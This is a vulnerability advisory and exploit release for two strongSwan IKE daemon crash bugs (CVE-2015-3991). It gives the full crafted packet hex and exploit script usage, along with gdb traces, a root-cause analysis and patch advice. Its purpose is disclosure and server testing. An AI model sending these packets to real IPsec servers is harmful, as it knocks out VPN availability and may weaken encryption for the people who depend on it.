strongSwan Exploit 0.2 [sig]
Related:
Security Advisory for Libreswan
Security Advisory for IPsec Tools
IKEv1 Fuzzer
IPsec Vulnerabilities and Software Security Prediction
Two Denial of Service vulnerabilities were found on May 14th, 2015 in the latest versions of strongSwan. These vulnerabilities have been assigned CVE-2015-3991 for reference. The patch has been committed to git and 5.3.1 has been released. I am releasing the exploit so that people will be able to test their servers. It is also easy to generate this exploit using the tools I am releasing today which found these two vulnerabilities and two vulnerabilities in Libreswan (strongSwan's competitor). If you have access to test equipment that runs an IPsec server, you should run this fuzzer against it. If you are a security researcher with any interest in IPsec, you should improve this fuzzer, find bugs with it, and send a patch.
An independent researcher privately reported a denial-of-service and possible remote code execution vulnerability in strongSwan. Affected are strongSwan versions 5.2.2 and 5.3.0.
...
The bug can be triggered by an IKEv1 or IKEv2 message that contains payloads that are only defined for the respective other IKE version. For instance, sending an IKEv1 Main Mode message containing a payload with type 41 (IKEv2 Notify) will crash the daemon when a short summary of the contents of the message is logged ("parsed ID_PROT request 0 [ ... ]"). Other payload types may trigger crashes in other places.
Product: strongSwan 5.3.0, 5.2.2 and possibly other versions
Website: https://www.strongswan.org/
Github: https://github.com/strongswan/strongswan/
Type: Denial of Service (CWE-476)
Severity: Medium
CVSS Score: 7.8 (AV:N/AC:L/Au:N/C:N/I:N/A:C)
A single crafted UDP packet can crash charon, the IKE daemon from strongSwan. The daemon attempts to call a dynamic function which has null or a different pointer as its value. The impact of charon daemon crashing is dependent on the environment and can vary quite greatly. Since IPsec is critical infrastructure, it should be considered of high importance.
Usage:
python strongswan_dos983.py 169.254.62.131
The single packet which causes this DoS to occur is below split into structures:
b9ce3eefc8b661dd00000000000000002910020000000000000000580000003c
000000010000000100000030010100010000002801010000800b0001000c00040001518080010007800e0100800300038002000280040005
What it looks like on the server:
sudo gdb /usr/libexec/ipsec/charon ... (gdb) run --use-syslog Starting program: /usr/libexec/ipsec/charon --use-syslog warning: Could not load shared library symbols for linux-vdso.so.1. Do you need "set solib-search-path" or "set sysroot"? [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". [New Thread 0x7ffff04a0700 (LWP 9264)] [New Thread 0x7fffefc9f700 (LWP 9265)] [New Thread 0x7fffef49e700 (LWP 9266)] [New Thread 0x7fffeec9d700 (LWP 9267)] [New Thread 0x7fffee49c700 (LWP 9268)] [New Thread 0x7fffedc9b700 (LWP 9269)] [New Thread 0x7fffed49a700 (LWP 9270)] [New Thread 0x7fffecc99700 (LWP 9271)] [New Thread 0x7fffec498700 (LWP 9272)] [New Thread 0x7fffebc97700 (LWP 9273)] [New Thread 0x7fffeb496700 (LWP 9274)] [New Thread 0x7fffeac95700 (LWP 9275)] [New Thread 0x7fffea494700 (LWP 9276)] [New Thread 0x7fffe9c93700 (LWP 9277)] [New Thread 0x7fffe9492700 (LWP 9278)] [New Thread 0x7fffe8c91700 (LWP 9279)] Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7ffff04a0700 (LWP 9264)] 0x0000000000000000 in ?? () (gdb) bt #0 0x0000000000000000 in ?? () #1 0x00007ffff771561b in get_string (this=this@entry=0x7fffe0000fa0, buf=buf@entry=0x7ffff049fa60 "ID_PROT request 0 [ N", len=490) at encoding/message.c:1313 #2 0x00007ffff771600c in parse_body (this=this@entry=0x7fffe0000fa0, keymat=0x7fffcc000f50) at encoding/message.c:2598 #3 0x00007ffff7748763 in parse_message (this=this@entry=0x7fffcc001350, msg=msg@entry=0x7fffe0000fa0) at sa/ikev1/task_manager_v1.c:1150 #4 0x00007ffff7748acb in process_message (this=0x7fffcc001350, msg=0x7fffe0000fa0) at sa/ikev1/task_manager_v1.c:1321 #5 0x00007ffff772a24f in process_message (this=0x7fffcc000a20, message=0x7fffe0000fa0) at sa/ike_sa.c:1361 #6 0x00007ffff7723eef in execute (this=0x7fffe0000900) at processing/jobs/process_message_job.c:74 #7 0x00007ffff7badda2 in process_job (worker=0x64e200, this=0x608120) at processing/processor.c:235 #8 process_jobs (worker=0x64e200) at processing/processor.c:321 #9 0x00007ffff7bbd3b4 in thread_main (this=0x64e230) at threading/thread.c:312 #10 0x00007ffff74ed3a4 in start_thread (arg=0x7ffff04a0700) at pthread_create.c:310 #11 0x00007ffff723482d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109 (gdb) set directories $cwd:$cdir:/home/jvoss/strongswan-5.2.2/src/libcharon/ (gdb) frame 1 #1 0x00007ffff771561b in get_string (this=this@entry=0x7fffe0000fa0, buf=buf@entry=0x7ffff049fa60 "ID_PROT request 0 [ N", len=490) at encoding/message.c:1313 1313 data = notify->get_notification_data(notify); (gdb) list 1308 notify_type_t type; 1309 chunk_t data; 1310 1311 notify = (notify_payload_t*)payload; 1312 type = notify->get_notify_type(notify); 1313 data = notify->get_notification_data(notify); 1314 if (type == MS_NOTIFY_STATUS && data.len == 4) 1315 { 1316 written = snprintf(pos, len, "(%N(%d))", notify_type_short_names, 1317 type, untoh32(data.ptr)); (gdb) i r rax 0x0 0 rbx 0x1ea 490 rcx 0x0 0 rdx 0x7fffcc000058 140736615940184 rsi 0xffffffff 4294967295 rdi 0x7fffcc0031c0 140736615952832 rbp 0x7ffff049fa75 0x7ffff049fa75 rsp 0x7ffff049f920 0x7ffff049f920 r8 0x7ffff7758600 140737345062400 r9 0x7fffcc0031c0 140736615952832 r10 0x2 2 r11 0x7ffff049d6e8 140737224759016 r12 0x7fffcc0031c0 140736615952832 r13 0x0 0 r14 0x7ffff049fa50 140737224768080 r15 0x7ffff049f968 140737224767848 rip 0x7ffff771561b 0x7ffff771561b <get_string+875> eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) disassemble Dump of assembler code for function get_string: ... 0x00007ffff7715600 <+848>: mov 0x40(%rsp),%r12 0x00007ffff7715605 <+853>: mov %r12,%rdi 0x00007ffff7715608 <+856>: callq *0x50(%r12) 0x00007ffff771560d <+861>: mov %eax,%r13d 0x00007ffff7715610 <+864>: mov %r12,%rdi 0x00007ffff7715613 <+867>: callq *0x80(%r12) => 0x00007ffff771561b <+875>: cmp $0x3039,%r13d 0x00007ffff7715622 <+882>: jne 0x7ffff771562e <get_string+894> 0x00007ffff7715624 <+884>: cmp $0x4,%rdx 0x00007ffff7715628 <+888>: je 0x7ffff77157f2 <get_string+1346> (gdb) x/10gx $r12+0x80 0x7fffcc003240: 0x0000000000000000 0x0000000000000000 0x7fffcc003250: 0x0000000000000000 0x0000000000000000 0x7fffcc003260: 0x0000000000000000 0x0000000000000000 0x7fffcc003270: 0x0000000000000000 0x0000000000000000 0x7fffcc003280: 0x0000000000000000 0x0000000000000000 (gdb) print notify $1 = (notify_payload_t *) 0x7fffcc0031c0 (gdb) print notify->get_notification_data $2 = (chunk_t (*)(notify_payload_t *)) 0x0
It's attempting to execute a function at null. This is not necessarily a null dereference. I have found the value to be many different values during my testing, which means that it is a random pointer depending on circumstance. This is by far the most dangerous denial of service because if the pointer was mapped with user data and executable, this would be a remote code execution vulnerability. The variable that is null is notify->get_notification_data
.
Currently installed strongSwan:
[ebuild R ] net-misc/strongswan-5.2.2::gentoo USE="caps constraints gmp non-root openssl pam strongswan_plugins_led strongswan_plugins_lookip strongswan_plugins_systime-fix strongswan_plugins_unity strongswan_plugins_vici -curl -debug -dhcp -eap -farp -gcrypt -ldap -mysql -networkmanager -pkcs11 -sqlite -strongswan_plugins_blowfish -strongswan_plugins_ccm -strongswan_plugins_ctr -strongswan_plugins_gcm -strongswan_plugins_ha -strongswan_plugins_ipseckey -strongswan_plugins_ntru -strongswan_plugins_padlock -strongswan_plugins_rdrand -strongswan_plugins_unbound -strongswan_plugins_whitelist" 0 KiB
Configuration only has one interesting thing in it...
config setup # strictcrlpolicy=yes # uniqueids = no conn net-net left=%defaultroute leftsubnet=10.1.0.0/16 leftcert=moonCert.pem right=169.254.44.43 rightsubnet=10.2.0.0/16 rightid="C=CH, O=Linux strongSwan, CN=sun.strongswan.org" auto=start
This configuration comes directly from the configuration howto on strongswan.org: https://www.strongswan.org/docs/readme4.htm#section_2.1
1311 notify = (notify_payload_t*)payload; 1312 type = notify->get_notify_type(notify); 1313 data = notify->get_notification_data(notify);
The vulnerability occurs on line 1313, but is caused by the cast on line 1311 which should not occur. If you are interested in understanding this bug look at the patch. Generally what is going on is object-oriented subclassing using C structs. What happens here when the attacker provides a bad packet is that the payload gets incorrectly cast into a struct which has get_notification_data which the correct payload type does not have. This is difficult for a person who hasn't written the code to understand.
Product: strongSwan 5.3.0, 5.2.2 and possibly other versions
Website: https://www.strongswan.org/
Github: https://github.com/strongswan/strongswan/
Type: Denial of Service (CWE-476)
Severity: Medium
CVSS Score: 7.8 (AV:N/AC:L/Au:N/C:N/I:N/A:C)
A single crafted UDP packet can crash charon, the IKE daemon from strongSwan. The daemon attempts to call a dynamic function which has null or a different pointer as its value. The impact of charon daemon crashing is dependent on the environment and can vary quite greatly. Since IPsec is critical infrastructure, it should be considered of high importance.
Usage:
python3 strongswan_dos1161.py 169.254.62.131
The single packet which causes this DoS to occur is below split into structures:
b9ce3eefc8b661dd00000000000000002e10020000000000000000580000003c
000000010000000100000030010100010000002801010000800b0001000c00040001518080010007800e0100800300038002000280040005
What it looks like on the server:
sudo gdb /usr/libexec/ipsec/charon ... (gdb) run --use-syslog Starting program: /usr/local/libexec/ipsec/charon --use-syslog warning: Could not load shared library symbols for linux-vdso.so.1. Do you need "set solib-search-path" or "set sysroot"? [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". [New Thread 0x7ffff2915700 (LWP 5826)] [New Thread 0x7ffff2114700 (LWP 5827)] [New Thread 0x7ffff1913700 (LWP 5828)] [New Thread 0x7ffff1112700 (LWP 5829)] [New Thread 0x7ffff0911700 (LWP 5830)] [New Thread 0x7ffff0110700 (LWP 5831)] [New Thread 0x7fffef90f700 (LWP 5832)] [New Thread 0x7fffef10e700 (LWP 5833)] [New Thread 0x7fffee90d700 (LWP 5834)] [New Thread 0x7fffee10c700 (LWP 5835)] [New Thread 0x7fffed90b700 (LWP 5836)] [New Thread 0x7fffed10a700 (LWP 5837)] [New Thread 0x7fffec909700 (LWP 5838)] [New Thread 0x7fffec108700 (LWP 5839)] [New Thread 0x7fffeb907700 (LWP 5840)] [New Thread 0x7fffeb106700 (LWP 5841)] Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7fffef10e700 (LWP 5833)] 0x0000000000000261 in ?? () (gdb) bt #0 0x0000000000000261 in ?? () #1 0x00007ffff771401f in decrypt_payloads (keymat=0x7fffd80011c0, this=0x7fffe0000c20) at encoding/message.c:2452 #2 parse_body (this=this@entry=0x7fffe0000c20, keymat=0x7fffd80011c0) at encoding/message.c:2585 #3 0x00007ffff77489d3 in parse_message (this=this@entry=0x7fffd8001470, msg=msg@entry=0x7fffe0000c20) at sa/ikev1/task_manager_v1.c:1150 #4 0x00007ffff7748d3b in process_message (this=0x7fffd8001470, msg=0x7fffe0000c20) at sa/ikev1/task_manager_v1.c:1321 #5 0x00007ffff7728c4f in process_message (this=0x7fffd8000a70, message=0x7fffe0000c20) at sa/ike_sa.c:1368 #6 0x00007ffff772248f in execute (this=0x7fffe0000ee0) at processing/jobs/process_message_job.c:74 #7 0x00007ffff7badec2 in process_job (worker=0x635640, this=0x608130) at processing/processor.c:235 #8 process_jobs (worker=0x635640) at processing/processor.c:321 #9 0x00007ffff7bbd674 in thread_main (this=0x635670) at threading/thread.c:312 #10 0x00007ffff71e83a4 in start_thread (arg=0x7fffef10e700) at pthread_create.c:310 #11 0x00007ffff6d2b82d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109 (gdb) set directories $cdir:$cwd:/home/jvoss/strongswan-5.2.2/src/libcharon/ (gdb) list 2447 encryption->destroy(encryption); 2448 status = VERIFY_ERROR; 2449 break; 2450 } 2451 status = decrypt_and_extract(this, keymat, previous, encryption); 2452 encryption->destroy(encryption); 2453 if (status != SUCCESS) 2454 { 2455 break; 2456 } (gdb) print encryption $1 = (encrypted_payload_t *) 0x7fffd8001bc0 (gdb) print encryption->destroy $2 = (void (*)(encrypted_payload_t *)) 0x261 (gdb) disassemble 0x00007ffff7715bbf <+863>: xor %eax,%eax 0x00007ffff7715bc1 <+865>: mov %r8,%rdi 0x00007ffff7715bc4 <+868>: callq *0x30(%r8) 0x00007ffff7715bc8 <+872>: mov %r14,%rdi 0x00007ffff7715bcb <+875>: callq *0x78(%r14) => 0x00007ffff7715bcf <+879>: mov %r15,%rdi 0x00007ffff7715bd2 <+882>: callq *0x8(%r15) 0x00007ffff7715bd6 <+886>: mov (%r12),%rax 0x00007ffff7715bda <+890>: lea 0x428aa(%rip),%rcx # 0x7ffff775848b (gdb) x/10gx $r14+0x60 0x7fffd8001c20: 0x003c000000000000 0x00007fffd8001960 0x7fffd8001c30: 0x0000000000000038 0x0000000000000261 0x7fffd8001c40: 0x00007fffd8000078 0x00007fffd8000078 0x7fffd8001c50: 0x00007fffd8001ea0 0x00007fffd8001ea0 0x7fffd8001c60: 0x00007fffd8001ea0 0x00007fffd8001ef2 On a different run: (gdb) x/10gx $r14+0x60 0x7fffd00033f0: 0x003c000000000000 0x00007fffd0000f50 0x7fffd0003400: 0x0000000000000038 0x0000000000000065 0x7fffd0003410: 0x0000000000000000 0x30303a3731203431 0x7fffd0003420: 0x726168632037333a 0x455b3230203a6e6f 0x7fffd0003430: 0x6e756f66205d434e 0x707972636e652064 (gdb) x/12s 0x7fffd0003418 0x7fffd0003418: "14 17:00:37 charon: 02[ENC] found encrypted payload, but no transform set\n"
The configuration in this is the same as the previous vulnerability.
src/libcharon/encoding/message.c:2436
2436 if (type == PLV2_ENCRYPTED || type == PLV1_ENCRYPTED) 2437 { 2438 encrypted_payload_t *encryption; 2439 2440 DBG2(DBG_ENC, "found an encrypted payload"); 2441 encryption = (encrypted_payload_t*)payload; 2442 this->payloads->remove_at(this->payloads, enumerator); 2443 2444 if (enumerator->enumerate(enumerator, NULL)) 2445 { 2446 DBG1(DBG_ENC, "encrypted payload is not last payload"); 2447 encryption->destroy(encryption); 2448 status = VERIFY_ERROR; 2449 break; 2450 } 2451 status = decrypt_and_extract(this, keymat, previous, encryption); 2452 encryption->destroy(encryption); 2453 if (status != SUCCESS) 2454 { 2455 break; 2456 } 2457 was_encrypted = "encrypted payload"; 2458 }
The vulnerability occurs on line 2452 but occurs because of the cast made on 2441. The assumption that caused the program to make that cast was incorrect. Like the previous vulnerability, strongSwan assumes the subclass of payload which is incorrect. A check made here could fix the bug, but if you look at the patch you'll see that they fixed it by changing the method of subclassing so that they could verify their assumptions.
When the IKE daemon crashes, it may or may not be restarted.
If it is restarted, it gives the attacker as many attempts as they want to get the IKE daemon into the startup state. Result: unknown.
If it is not restarted, the keys do not get changed. When the IV gets repeated, the stream loses some confidentiality and integrity. Replay becomes easy. Result: possible compromise.
If the system decides that the two systems should no longer use IPsec, the system may revert back to IP silently. Result: possible complete compromise.
If the system decides to instead stop sending packets to the affected system, this becomes a denial of service. Result: complete availability compromise.
The most likely result is clearly the availability compromise. However, it is possible for the system to revert to IP silently which is by far the worst possible case scenario. Ubuntu and Gentoo by default do not restart the server, which leads to availability compromise for those systems that do not have keys exchanged and for any system that has keys exchanged, it will lead to an unknown result. The worst possible result for Ubuntu and Gentoo in their default configuration is possible compromise. However, since IPsec requires administrators to configure their systems, it is likely that many different configurations exist that do not conform to these assumptions.
When encryption is compromised, the layer below becomes available to the attacker. IPsec was designed to run over public networks, thus attackers are there.
An aside about Man-in-the-middle attacks: Man-in-the-middle attacks are not theoretical. It is practical and exploitable on WiFi (road-warrior use-case), corporate networks (flat topology corporation use-case), server racks (DMZ/segmented use-case), and backbone routers (ISP use-case).
I am not trying to be alarmist. The odds of someone compromising your entire corporate network based on this vulnerability are low. The main reason to upgrade is because the attacker can deny availability to your IPsec server and the result of this attack is not fully understood for every environment.
Many thanks to Andreas Steffen and the strongSwan team for a quick turnaround and a very well-informed discussion about the implications of these bugs. Their efforts ensured a smooth release of this information.
Two Denial of Service vulnerabilities were found on May 14th, 2015 in the latest versions of strongSwan. Exploits for these vulnerabilities are available. Upgrade as soon as possible. The most likely result of an attack is denial of service, but the result is dependent on the environment and can vary quite greatly. Since IPsec is critical infrastructure, it should be considered of high importance.